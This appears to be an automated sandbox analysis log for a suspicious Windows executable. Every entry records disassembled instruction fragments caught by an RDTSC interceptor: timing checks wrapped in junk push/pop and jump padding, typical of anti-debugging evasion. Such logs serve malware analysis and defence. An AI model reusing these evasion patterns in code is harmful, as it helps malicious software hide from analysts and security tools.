Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF4AD second address: ABF4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F33751B277Ch 0x00000010 je 00007F33751B2776h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF586 second address: ABF5CD instructions: 0x00000000 rdtsc 0x00000002 je 00007F33751C23D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D29EDh], esi 0x00000014 push 00000000h 0x00000016 jnl 00007F33751C23DCh 0x0000001c add dword ptr [ebp+122D1E58h], eax 0x00000022 movsx ecx, si 0x00000025 call 00007F33751C23D9h 0x0000002a jnp 00007F33751C23DEh 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push ebx 0x00000034 jc 00007F33751C23D6h 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF5CD second address: ABF5F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F33751B277Ch 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF5F4 second address: ABF5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF5F9 second address: ABF5FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF5FE second address: ABF6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jns 00007F33751C23DEh 0x00000011 pop eax 0x00000012 mov cx, 1001h 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F33751C23D8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 jmp 00007F33751C23E9h 0x00000037 push 00000000h 0x00000039 jmp 00007F33751C23E5h 0x0000003e clc 0x0000003f push 00000003h 0x00000041 jg 00007F33751C23E2h 0x00000047 call 00007F33751C23D9h 0x0000004c jno 00007F33751C23DAh 0x00000052 push eax 0x00000053 push edi 0x00000054 jmp 00007F33751C23E4h 0x00000059 pop edi 0x0000005a mov eax, dword ptr [esp+04h] 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF6B6 second address: ABF6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751B277Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF6C7 second address: ABF6E7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F33751C23DCh 0x00000008 jno 00007F33751C23D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jc 00007F33751C23F5h 0x00000018 push eax 0x00000019 push edx 0x0000001a je 00007F33751C23D6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF6E7 second address: ABF74A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2783h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F33751B2783h 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F33751B2778h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d movsx edi, bx 0x00000030 lea ebx, dword ptr [ebp+1245D298h] 0x00000036 xor edi, dword ptr [ebp+122D2C23h] 0x0000003c xchg eax, ebx 0x0000003d push edi 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF7B6 second address: ABF7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F33751C23E1h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF7D8 second address: ABF7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F33751B2776h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d and esi, 2A65E046h 0x00000013 push 00000000h 0x00000015 mov dh, bl 0x00000017 push C6324A01h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF7F9 second address: ABF7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF7FD second address: ABF801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF801 second address: ABF878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F33751C23D6h 0x0000000d jp 00007F33751C23D6h 0x00000013 popad 0x00000014 popad 0x00000015 add dword ptr [esp], 39CDB67Fh 0x0000001c mov dword ptr [ebp+122D2015h], esi 0x00000022 push 00000003h 0x00000024 sub si, 3AAFh 0x00000029 mov esi, dword ptr [ebp+122D2F3Fh] 0x0000002f push 00000000h 0x00000031 push 00000003h 0x00000033 call 00007F33751C23E9h 0x00000038 mov di, EE64h 0x0000003c pop ecx 0x0000003d push A857DB60h 0x00000042 pushad 0x00000043 jp 00007F33751C23EDh 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF878 second address: ABF8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 xor dword ptr [esp], 6857DB60h 0x0000000f mov edx, dword ptr [ebp+122D2E3Bh] 0x00000015 lea ebx, dword ptr [ebp+1245D2A3h] 0x0000001b xchg eax, ebx 0x0000001c je 00007F33751B277Ch 0x00000022 pushad 0x00000023 push edx 0x00000024 pop edx 0x00000025 push edi 0x00000026 pop edi 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push esi 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF8A7 second address: ABF8AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AD0524 second address: AD052A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADF4B4 second address: ADF4CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F33751C23DAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AA7B95 second address: AA7BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADD36D second address: ADD389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADD4D1 second address: ADD4D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADD4D5 second address: ADD4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33751C23E1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADD4EC second address: ADD515 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F33751B2776h 0x00000009 pop edi 0x0000000a jmp 00007F33751B2788h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADD515 second address: ADD52C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F33751C23DFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADD52C second address: ADD530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADD80A second address: ADD818 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33751C23D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADDD93 second address: ADDD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADDD99 second address: ADDDAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F33751C23DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AD48CE second address: AD48D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AD48D2 second address: AD48E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AD48E2 second address: AD48E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AB6C47 second address: AB6C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AB6C4B second address: AB6C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AB6C4F second address: AB6C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F33751C23DBh 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AB6C71 second address: AB6CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751B2783h 0x00000009 popad 0x0000000a jl 00007F33751B2778h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F33751B277Bh 0x00000019 jo 00007F33751B2776h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADE692 second address: ADE697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADE697 second address: ADE6CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2782h 0x00000007 jmp 00007F33751B277Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F33751B277Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADE6CC second address: ADE6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADE6D0 second address: ADE6DA instructions: 0x00000000 rdtsc 0x00000002 js 00007F33751B2776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADE6DA second address: ADE6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADF010 second address: ADF017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADF017 second address: ADF033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33751C23E5h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ADF033 second address: ADF03E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AE2928 second address: AE292E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AE292E second address: AE294B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33751B2786h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AE42FB second address: AE430E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AE70CD second address: AE70E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F33751B277Eh 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AE9BD5 second address: AE9C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33751C23E1h 0x00000011 jmp 00007F33751C23DEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AE9D99 second address: AE9D9E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEA2FD second address: AEA303 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEA303 second address: AEA32B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F33751B2788h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEC878 second address: AEC882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F33751C23D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEC882 second address: AEC886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEC900 second address: AEC91D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEC91D second address: AEC941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEC941 second address: AEC957 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEC957 second address: AEC95D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEC95D second address: AEC961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AED2CB second address: AED2D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AED505 second address: AED50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AED5EA second address: AED5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEE54A second address: AEE54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF00D9 second address: AF00DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEFE2A second address: AEFE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751C23E5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF00DF second address: AF00E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEFE44 second address: AEFE4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF00E3 second address: AF00E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEFE4A second address: AEFE7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F33751C23EBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF00E7 second address: AF00FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F33751B2778h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AEFE7E second address: AEFE85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF00FA second address: AF0100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF0BAA second address: AF0BAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF15E4 second address: AF15F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF15F9 second address: AF165D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F33751C23D6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F33751C23DEh 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F33751C23D8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f or dword ptr [ebp+1245D321h], esi 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+1245CE8Eh], eax 0x0000003d push 00000000h 0x0000003f adc esi, 4BE56E83h 0x00000045 push esi 0x00000046 mov edi, dword ptr [ebp+122D2F1Bh] 0x0000004c pop edi 0x0000004d push eax 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF1EB5 second address: AF1EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF6248 second address: AF624D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF6415 second address: AF6419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF746E second address: AF7472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF946C second address: AF9470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFA527 second address: AFA52C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF9470 second address: AF9486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFB3D9 second address: AFB40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F33751C23D6h 0x0000000c jmp 00007F33751C23E6h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push esi 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jp 00007F33751C23D6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFA52C second address: AFA547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751B2787h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF9486 second address: AF9490 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33751C23DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
